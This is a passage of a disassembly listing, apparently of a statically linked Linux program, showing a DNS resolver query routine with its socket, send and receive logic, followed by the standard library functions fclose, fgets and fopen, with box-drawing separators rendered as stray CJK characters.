ecx, [ebp+arg_4] push ecx lea edi, [ebp+arg_0] push edi lea eax, [ebp+var_4] push eax mov ecx, dword_807853C call ecx mov edx, eax add esp, 18h cmp edx, 4 ; switch 5 cases ja loc_804F4E4 ; default jmp ds:off_804EB5C[edx*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 off_804EB5C dd offset loc_804EB80, offset loc_804EB0C, offset loc_804EB70 ; DATA XREF: sub_804EA0C+146r dd offset loc_804F448, offset loc_804F4E4 ; jump table for switch statement ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804EB70: ; CODE XREF: sub_804EA0C+146j ; DATA XREF: sub_804EA0C+150o inc ebx ; case 0x2 cmp ebx, 29h jg loc_804F4E4 ; default xor edi, edi test edi, edi jz short loc_804EB24 loc_804EB80: ; CODE XREF: sub_804EA0C+113j ; sub_804EA0C+146j ; DATA XREF: ... test byte ptr dword_807854C, 2 ; case 0x0 jz short loc_804EBAC mov eax, [ebp+var_4] mov eax, [eax+4] push eax call sub_805E984 push eax lea eax, [esi+1] push eax push offset aQueryingServer ; ";; Querying server (# %d) address = %s\n"... push offset unk_8078750 call fprintf add esp, 14h loc_804EBAC: ; CODE XREF: sub_804EA0C+17Bj cmp [ebp+var_244], 0 jz loc_804EEC0 mov eax, dword_8078548 mov [ebp+var_240], eax mov [ebp+var_24C], 0 cmp dword_8078530, 0 jl short loc_804EBF2 cmp dword_8078538, 0 jnz loc_804EC86 cmp dword_8078530, 0 jl short loc_804EBF2 call sub_804F4F8 loc_804EBF2: ; CODE XREF: sub_804EA0C+1C9j ; sub_804EA0C+1DFj push 0 push 1 push 2 call socket mov edx, eax mov dword_8078530, edx add esp, 0Ch test edx, edx jl loc_804F4A4 mov __errno, 0 push 10h mov eax, [ebp+var_4] push eax push edx call connect add esp, 0Ch test eax, eax jge short loc_804EC7C mov ecx, __errno mov [ebp+var_23C], ecx mov edx, [ebp+var_4] mov edi, [edx+0Ch] push edi mov eax, [edx+8] push eax mov ecx, [edx+4] push ecx mov edx, [edx] mov [ebp+var_250], edx push edx mov edi, [ebp+var_23C] push edi push offset aConnectVc ; "connect/vc" push offset unk_80787A4 call sub_804E638 mov edi, 1 mov ecx, esi shl edi, cl or [ebp+var_248], edi jmp loc_804F065 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804EC7C: ; CODE XREF: sub_804EA0C+21Fj mov dword_8078538, 1 loc_804EC86: ; CODE XREF: sub_804EA0C+1D2j lea ebx, [ebp+var_1A] push ebx movzx eax, word ptr [ebp+arg_4] push eax call sub_804D700 mov [ebp+var_18], ebx mov [ebp+var_14], 2 mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_4] mov [ebp+var_C], eax push 2 lea eax, [ebp+var_18] push eax mov eax, dword_8078530 push eax call sub_8056E70 mov edx, eax mov eax, [ebp+arg_4] add eax, 2 add esp, 14h cmp edx, eax jz short loc_804ECFC mov eax, __errno mov [ebp+var_23C], eax push eax push offset aWriteFailed ; "write failed" push offset unk_80787A4 call sub_804E694 mov edi, 1 mov ecx, esi shl edi, cl or [ebp+var_248], edi jmp loc_804F19D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804ECFC: ; CODE XREF: sub_804EA0C+2BCj mov eax, [ebp+arg_8] mov [ebp+var_254], eax mov [ebp+var_1A], 2 nop loc_804ED0C: ; CODE XREF: sub_804EA0C+333j movzx ecx, [ebp+var_1A] push ecx mov edi, [ebp+var_254] push edi mov eax, dword_8078530 push eax call read mov ebx, eax add esp, 0Ch test ebx, ebx jle short loc_804ED45 add edi, ebx mov [ebp+var_254], edi mov ax, [ebp+var_1A] sub ax, bx mov [ebp+var_1A], ax jnz short loc_804ED0C test ebx, ebx jg short loc_804ED98 loc_804ED45: ; CODE XREF: sub_804EA0C+31Ej mov ecx, __errno mov [ebp+var_23C], ecx push ecx push offset aReadFailed ; "read failed" push offset unk_80787A4 call sub_804E694 call sub_804F4F8 add esp, 0Ch cmp [ebp+var_23C], 68h jnz loc_804EB0C ; case 0x1 cmp [ebp+var_238], 0 jnz loc_804EB0C ; case 0x1 mov [ebp+var_238], 1 call sub_804F4F8 jmp loc_804EB01 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804ED98: ; CODE XREF: sub_804EA0C+337j mov edi, [ebp+arg_8] push edi call sub_804D6B8 mov edx, eax and edx, 0FFFFh mov [ebp+var_8], edx add esp, 4 mov eax, [ebp+arg_C] cmp edx, eax jle short loc_804EDE8 test byte ptr dword_807854C, 2 jz short loc_804EDD1 push offset aResponseTrunca ; ";; response truncated\n" push offset unk_8078750 call fprintf add esp, 8 loc_804EDD1: ; CODE XREF: sub_804EA0C+3B1j mov [ebp+var_24C], 1 mov cx, word ptr [ebp+arg_C] mov [ebp+var_1A], cx jmp short loc_804EDF0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804EDE8: ; CODE XREF: sub_804EA0C+3A8j mov ax, word ptr [ebp+var_8] mov [ebp+var_1A], ax loc_804EDF0: ; CODE XREF: sub_804EA0C+3D7j mov edi, [ebp+arg_8] mov [ebp+var_254], edi cmp [ebp+var_1A], 0 jz short loc_804EE34 loc_804EE00: ; CODE XREF: sub_804EA0C+426j movzx eax, [ebp+var_1A] push eax mov ecx, [ebp+var_254] push ecx mov edi, dword_8078530 push edi call read mov ebx, eax add esp, 0Ch test ebx, ebx jle short loc_804EE38 add [ebp+var_254], ebx mov ax, [ebp+var_1A] sub ax, bx mov [ebp+var_1A], ax jnz short loc_804EE00 loc_804EE34: ; CODE XREF: sub_804EA0C+3F2j test ebx, ebx jg short loc_804EE50 loc_804EE38: ; CODE XREF: sub_804EA0C+413j mov eax, __errno mov [ebp+var_23C], eax push eax push offset aReadVc ; "read(vc)" jmp loc_804F193 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804EE50: ; CODE XREF: sub_804EA0C+42Aj cmp [ebp+var_24C], 0 jz loc_804F358 mov ecx, [ebp+var_230] or byte ptr [ecx+2], 2 mov di, word ptr [ebp+var_8] sub di, word ptr [ebp+arg_C] mov [ebp+var_1A], di jz loc_804F358 db 8Dh,76h,0 ; lea esi, [esi+0] loc_804EE7C: ; CODE XREF: sub_804EA0C+4ACj mov ebx, 200h cmp [ebp+var_1A], 200h ja short loc_804EE8D movzx ebx, [ebp+var_1A] loc_804EE8D: ; CODE XREF: sub_804EA0C+47Bj push ebx lea eax, [ebp+var_21C] push eax mov eax, dword_8078530 push eax call read mov ebx, eax add esp, 0Ch test ebx, ebx jle loc_804F358 mov ax, [ebp+var_1A] sub ax, bx mov [ebp+var_1A], ax jnz short loc_804EE7C jmp loc_804F358 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804EEC0: ; CODE XREF: sub_804EA0C+1A7j cmp dword_8078530, 0 jl short loc_804EED2 cmp dword_8078538, 0 jz short loc_804EF05 loc_804EED2: ; CODE XREF: sub_804EA0C+4BBj cmp dword_8078538, 0 jz short loc_804EEE0 call sub_804F4F8 loc_804EEE0: ; CODE XREF: sub_804EA0C+4CDj push 0 push 2 push 2 call socket mov dword_8078530, eax add esp, 0Ch test eax, eax jl loc_804F4C4 mov dword_8078534, 0 loc_804EF05: ; CODE XREF: sub_804EA0C+4C4j cmp dword_8078550, 1 jz short loc_804EF23 cmp [ebp+var_240], 0 jnz loc_804EFBC test esi, esi jnz loc_804EFBC loc_804EF23: ; CODE XREF: sub_804EA0C+500j cmp dword_8078534, 0 jnz short loc_804EF72 push 10h mov eax, [ebp+var_4] push eax mov eax, dword_8078530 push eax call connect add esp, 0Ch test eax, eax jge short loc_804EF68 mov edx, [ebp+var_4] mov eax, [edx+0Ch] push eax mov eax, [edx+8] push eax mov eax, [edx+4] push eax mov eax, [edx] push eax mov eax, __errno push eax push offset aConnectDg ; "connect(dg)" jmp loc_804F04C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804EF68: ; CODE XREF: sub_804EA0C+536j mov dword_8078534, 1 loc_804EF72: ; CODE XREF: sub_804EA0C+51Ej push 0 mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax mov eax, dword_8078530 push eax call send add esp, 10h cmp [ebp+arg_4], eax jz loc_804F074 mov eax, __errno push eax push offset aSend ; "send" push offset unk_80787A4 call sub_804E694 mov eax, 1 mov ecx, esi shl eax, cl or [ebp+var_248], eax jmp loc_804F19D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804EFBC: ; CODE XREF: sub_804EA0C+509j ; sub_804EA0C+511j cmp dword_8078534, 0 jz short loc_804F00C mov [ebp+var_1EC], 2 mov [ebp+var_1E8], 0 mov [ebp+var_1EA], 0 push 10h lea eax, [ebp+var_1EC] push eax mov eax, dword_8078530 push eax call connect mov dword_8078534, 0 mov __errno, 0 add esp, 0Ch loc_804F00C: ; CODE XREF: sub_804EA0C+5B7j push 10h mov eax, [ebp+var_4] push eax push 0 mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax mov eax, dword_8078530 push eax call sendto add esp, 18h cmp [ebp+arg_4], eax jz short loc_804F074 mov edx, [ebp+var_4] mov eax, [edx+0Ch] push eax mov eax, [edx+8] push eax mov eax, [edx+4] push eax mov eax, [edx] push eax mov eax, __errno push eax push offset aSendto ; "sendto" loc_804F04C: ; CODE XREF: sub_804EA0C+555j push offset unk_80787A4 call sub_804E638 mov eax, 1 mov ecx, esi shl eax, cl or [ebp+var_248], eax loc_804F065: ; CODE XREF: sub_804EA0C+26Aj call sub_804F4F8 add esp, 1Ch jmp loc_804F450 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F074: ; CODE XREF: sub_804EA0C+581j ; sub_804EA0C+621j mov edx, dword_8078544 mov ecx, [ebp+var_240] shl edx, cl mov [ebp+var_224], edx test ecx, ecx jle short loc_804F09B mov eax, edx cdq idiv dword_8078550 mov [ebp+var_224], eax loc_804F09B: ; CODE XREF: sub_804EA0C+67Ej cmp [ebp+var_224], 0 jg short loc_804F0AE mov [ebp+var_224], 1 loc_804F0AE: ; CODE XREF: sub_804EA0C+696j mov [ebp+var_220], 0 loc_804F0B8: ; CODE XREF: sub_804EA0C+6F3j ; sub_804EA0C+7CEj ... lea edx, [ebp+var_21C] xor eax, eax mov ecx, 8 mov edi, edx cld repe stosd mov eax, dword_8078530 bts [ebp+var_21C], eax lea ecx, [ebp+var_224] push ecx push 0 push 0 push edx mov edi, dword_8078530 inc edi push edi call select mov ebx, eax add esp, 14h test ebx, ebx jge short loc_804F114 cmp __errno, 4 jz short loc_804F0B8 mov eax, __errno push eax push offset aSelect ; "select" jmp loc_804F193 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F114: ; CODE XREF: sub_804EA0C+6EAj test ebx, ebx jnz short loc_804F144 test byte ptr dword_807854C, 2 jz short loc_804F133 push offset aTimeout ; ";; timeout\n" push offset unk_8078750 call fprintf add esp, 8 loc_804F133: ; CODE XREF: sub_804EA0C+713j mov [ebp+var_234], 1 jmp loc_804EB0C ; case 0x1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F144: ; CODE XREF: sub_804EA0C+70Aj mov __errno, 0 mov [ebp+var_228], 10h lea eax, [ebp+var_228] push eax lea ecx, [ebp+var_1FC] push ecx push 0 mov edi, [ebp+arg_C] push edi mov eax, [ebp+arg_8] push eax mov ecx, dword_8078530 push ecx call recvfrom mov edx, eax mov [ebp+var_8], edx add esp, 18h test edx, edx jg short loc_804F1AC mov eax, __errno push eax push offset aRecvfrom ; "recvfrom" loc_804F193: ; CODE XREF: sub_804EA0C+43Dj ; sub_804EA0C+700j push offset unk_80787A4 call sub_804E694 loc_804F19D: ; CODE XREF: sub_804EA0C+2E8j ; sub_804EA0C+5ABj call sub_804F4F8 add esp, 0Ch jmp loc_804F450 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F1AC: ; CODE XREF: sub_804EA0C+77Aj mov [ebp+var_234], 1 mov edi, [ebp+var_22C] mov di, [edi] mov eax, [ebp+var_230] cmp [eax], di jz short loc_804F204 test byte ptr dword_807854C, 2 jnz short loc_804F1E0 test byte ptr dword_80786A4+1, 20h jz loc_804F0B8 loc_804F1E0: ; CODE XREF: sub_804EA0C+7C5j push offset aOldAnswer ; ";; old answer:\n" push offset unk_8078750 call fprintf push offset unk_8078750 mov ecx, [ebp+var_8] push ecx mov edi, [ebp+arg_8] push edi jmp loc_804F29F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F204: ; CODE XREF: sub_804EA0C+7BCj test byte ptr dword_807854C+1, 4 jnz short loc_804F240 lea eax, [ebp+var_1FC] push eax call sub_804E6F8 add esp, 4 test eax, eax jnz short loc_804F240 test byte ptr dword_807854C, 2 jnz short loc_804F236 test byte ptr dword_80786A4+1, 20h jz loc_804F0B8 loc_804F236: ; CODE XREF: sub_804EA0C+81Bj push offset aNotOurServer ; ";; not our server:\n" jmp short loc_804F288 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F240: ; CODE XREF: sub_804EA0C+7FFj ; sub_804EA0C+812j test byte ptr dword_807854C+1, 8 jnz short loc_804F2AC mov edi, [ebp+arg_8] add edi, [ebp+arg_C] push edi mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] add ecx, [ebp+arg_4] push ecx mov edi, [ebp+arg_0] push edi call sub_804E944 mov edx, eax add esp, 10h test edx, edx jnz short loc_804F2AC test byte ptr dword_807854C, 2 jnz short loc_804F283 test byte ptr dword_80786A4+1, 20h jz loc_804F0B8 loc_804F283: ; CODE XREF: sub_804EA0C+868j push offset aWrongQueryName ; ";; wrong query name:\n" loc_804F288: ; CODE XREF: sub_804EA0C+82Fj push offset unk_8078750 call fprintf push offset unk_8078750 mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_8] push ecx loc_804F29F: ; CODE XREF: sub_804EA0C+7F0j call sub_805F1DC add esp, 14h jmp loc_804F0B8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F2AC: ; CODE XREF: sub_804EA0C+83Bj ; sub_804EA0C+85Fj mov edi, [ebp+var_230] mov dl, [edi+3] and dl, 0Fh cmp dl, 2 jz short loc_804F2C5 mov al, dl add al, 0FCh cmp al, 1 ja short loc_804F313 loc_804F2C5: ; CODE XREF: sub_804EA0C+8AFj test byte ptr dword_807854C, 2 jz short loc_804F2F2 push offset aServerRejected ; "server rejected query:\n" push offset unk_8078750 call fprintf push offset unk_8078750 mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_8] push ecx call sub_805F1DC add esp, 14h loc_804F2F2: ; CODE XREF: sub_804EA0C+8C0j mov eax, 1 mov ecx, esi shl eax, cl or [ebp+var_248], eax call sub_804F4F8 cmp dword_80786A4, 0 jz loc_804F450 loc_804F313: ; CODE XREF: sub_804EA0C+8B7j test byte ptr dword_807854C, 20h jnz short loc_804F358 mov edi, [ebp+var_230] test byte ptr [edi+2], 2 jz short loc_804F358 test byte ptr dword_807854C, 2 jz short loc_804F343 push offset aTruncatedAnswe ; ";; truncated answer\n" push offset unk_8078750 call fprintf add esp, 8 loc_804F343: ; CODE XREF: sub_804EA0C+923j mov [ebp+var_244], 1 call sub_804F4F8 jmp loc_804EB01 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804F358: ; CODE XREF: sub_804EA0C+44Bj ; sub_804EA0C+467j ... test byte ptr dword_807854C, 2 jnz short loc_804F372 mov eax, dword_80786A4 and eax, 2100h cmp eax, 2100h jnz short loc_804F384 loc_804F372: ; CODE XREF: sub_804EA0C+953j push offset aGotAnswer ; ";; got answer:\n" push offset unk_8078750 call fprintf add esp, 8 loc_804F384: ; CODE XREF: sub_804EA0C+964j test byte ptr dword_807854C, 2 jnz short loc_804F396 test byte ptr dword_80786A4+1, 20h jz short loc_804F3BA loc_804F396: ; CODE XREF: sub_804EA0C+97Fj push offset unk_8067EE3 push offset unk_8078750 call fprintf push offset unk_8078750 mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_8] push ecx call sub_805F1DC add esp, 14h loc_804F3BA: ; CODE XREF: sub_804EA0C+988j cmp [ebp+var_244], 0 jz short loc_804F3D0 test byte ptr dword_807854C, 8 jz short loc_804F3D9 test esi, esi jnz short loc_804F3D9 loc_804F3D0: ; CODE XREF: sub_804EA0C+9B5j test byte ptr dword_807854C+1, 1 jnz short loc_804F3DE loc_804F3D9: ; CODE XREF: sub_804EA0C+9BEj ; sub_804EA0C+9C2j call sub_804F4F8 loc_804F3DE: ; CODE XREF: sub_804EA0C+9CBj cmp dword_8078540, 0 jz short loc_804F448 ; case 0x3 xor ebx, ebx db 8Dh,76h,0 ; lea esi, [esi+0] loc_804F3EC: ; CODE XREF: sub_804EA0C+A3Aj lea edi, [ebp+var_8] push edi mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edi, [ebp+arg_4] push edi mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] push ecx mov edi, dword_8078540 call edi mov edx, eax add esp, 18h cmp edx, 4 ; switch 5 cases ja loc_804F4E4 ; default jmp ds:off_804F424[edx*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 off_804F424 dd offset loc_804F448, offset loc_804EB0C, offset loc_804F438 ; DATA XREF: sub_804EA0C+A0Er dd offset loc_804F448, offset loc_804F4E4 ; jump table for switch statement ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F438: ; CODE XREF: sub_804EA0C+A0Ej ; DATA XREF: sub_804EA0C+A18o inc ebx ; case 0x2 cmp ebx, 29h jg loc_804F4E4 ; default xor eax, eax test eax, eax jz short loc_804F3EC loc_804F448: ; CODE XREF: sub_804EA0C+146j ; sub_804EA0C+9D9j ... mov eax, [ebp+var_8] ; case 0x3 jmp loc_804F4E9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F450: ; CODE XREF: sub_804EA0C+105j ; sub_804EA0C+661j ... inc esi cmp dword_8078550, esi jg loc_804EAF4 loc_804F45D: ; CODE XREF: sub_804EA0C+E0j inc [ebp+var_240] mov ecx, [ebp+var_240] cmp dword_8078548, ecx jg loc_804EAE4 loc_804F475: ; CODE XREF: sub_804EA0C+CFj call sub_804F4F8 cmp [ebp+var_244], 0 jnz short loc_804F4D8 cmp [ebp+var_234], 0 jnz short loc_804F498 mov __errno, 6Fh jmp short loc_804F4E4 ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F498: ; CODE XREF: sub_804EA0C+A7Ej mov __errno, 6Eh jmp short loc_804F4E4 ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F4A4: ; CODE XREF: sub_804EA0C+1FEj mov edi, __errno mov [ebp+var_23C], edi push edi push offset aSocketVc ; "socket(vc)" loc_804F4B6: ; CODE XREF: sub_804EA0C+AC9j push offset unk_80787A4 call sub_804E694 jmp short loc_804F4E4 ; default ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F4C4: ; CODE XREF: sub_804EA0C+4E9j mov eax, __errno mov [ebp+var_23C], eax push eax push offset aSocketDg ; "socket(dg)" jmp short loc_804F4B6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804F4D8: ; CODE XREF: sub_804EA0C+A75j mov ecx, [ebp+var_23C] mov __errno, ecx loc_804F4E4: ; CODE XREF: sub_804EA0C+2Fj ; sub_804EA0C+140j ... mov eax, 0FFFFFFFFh ; default loc_804F4E9: ; CODE XREF: sub_804EA0C+A3Fj lea esp, [ebp+var_264] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804EA0C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804F4F8 proc near ; CODE XREF: sub_804EA0C+100p ; sub_804EA0C+1E1p ... push ebp mov ebp, esp cmp dword_8078530, 0 jl short loc_804F52D mov eax, dword_8078530 push eax call close mov dword_8078530, 0FFFFFFFFh mov dword_8078534, 0 mov dword_8078538, 0 loc_804F52D: ; CODE XREF: sub_804F4F8+Aj mov esp, ebp pop ebp retn sub_804F4F8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804F534 proc near push ebp mov ebp, esp mov eax, offset dword_8078544 mov esp, ebp pop ebp retn sub_804F534 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden fclose proc near ; CODE XREF: main+5CCp ; init_services_resolv+A56p ... var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push ebx mov ebx, [ebp+arg_0] test ebx, ebx jz short loc_804F55A mov eax, [ebx] and eax, 0FFFF0000h cmp eax, 0FBAD0000h jz short loc_804F56C loc_804F55A: ; CODE XREF: fclose+Aj mov __errno, 16h mov eax, 0FFFFFFFFh jmp short loc_804F5B8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804F56C: ; CODE XREF: fclose+18j test byte ptr [ebx+1], 20h jz short loc_804F580 push ebx call sub_8060D44 mov esi, eax add esp, 4 jmp short loc_804F58C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804F580: ; CODE XREF: fclose+30j xor esi, esi test byte ptr [ebx], 20h jz short loc_804F58C mov esi, 0FFFFFFFFh loc_804F58C: ; CODE XREF: fclose+3Dj fclose+45j mov eax, [ebx+50h] push ebx mov eax, [eax+0Ch] call eax add esp, 4 cmp ebx, offset unk_80786FC jz short loc_804F5B6 cmp ebx, offset unk_8078750 jz short loc_804F5B6 cmp ebx, offset unk_80787A4 jz short loc_804F5B6 push ebx call free loc_804F5B6: ; CODE XREF: fclose+5Ej fclose+66j ... mov eax, esi loc_804F5B8: ; CODE XREF: fclose+29j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn fclose endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden fgets proc near ; CODE XREF: init_services_resolv+97p ; sub_804C5A4+4Cp ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov edx, [ebp+arg_4] mov ebx, [ebp+arg_8] test ebx, ebx jz short loc_804F5E4 mov eax, [ebx] and eax, 0FFFF0000h cmp eax, 0FBAD0000h jz short loc_804F5F4 loc_804F5E4: ; CODE XREF: fgets+10j mov __errno, 16h loc_804F5EE: ; CODE XREF: fgets+32j fgets+45j ... xor eax, eax jmp short loc_804F616 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F5F4: ; CODE XREF: fgets+1Ej test edx, edx jle short loc_804F5EE push 1 push 0Ah lea eax, [edx-1] push eax push esi push ebx call sub_804F734 test eax, eax jz short loc_804F5EE test byte ptr [ebx], 20h jnz short loc_804F5EE mov byte ptr [eax+esi], 0 mov eax, esi loc_804F616: ; CODE XREF: fgets+2Cj lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn fgets endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden fopen proc near ; CODE XREF: main+4ECp ; init_services_resolv+4Ap ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] push 54h call malloc mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_804F640 xor eax, eax jmp short loc_804F676 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F640: ; CODE XREF: fopen+1Aj push 0 push ebx call 